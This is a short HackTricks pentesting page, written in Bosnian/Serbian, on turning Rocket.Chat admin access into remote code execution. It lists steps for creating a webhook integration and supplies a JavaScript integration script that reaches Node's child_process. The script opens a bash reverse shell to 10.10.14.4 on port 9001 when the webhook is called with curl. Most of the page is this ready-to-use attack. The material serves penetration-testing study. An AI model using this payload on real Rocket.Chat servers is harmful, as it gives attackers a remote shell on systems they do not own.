hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

Rocket Chat

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RCE

Ako ste admin unutar Rocket Chat-a, možete dobiti RCE.

• Idite na Integrations i izaberite New Integration i odaberite bilo koju: Incoming WebHook ili Outgoing WebHook.
• /admin/integrations/incoming

• Prema dokumentaciji, oba koriste ES2015 / ECMAScript 6 (u suštini JavaScript) za obradu podataka. Tako da uzmimo rev shell za javascript kao:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• Konfigurišite WebHook (kanal i post kao korisničko ime moraju postojati):

• Konfigurišite WebHook skriptu:

• Sačuvajte promene
• Dobijte generisani WebHook URL:

• Pozovite ga sa curl i trebali biste primiti rev shell

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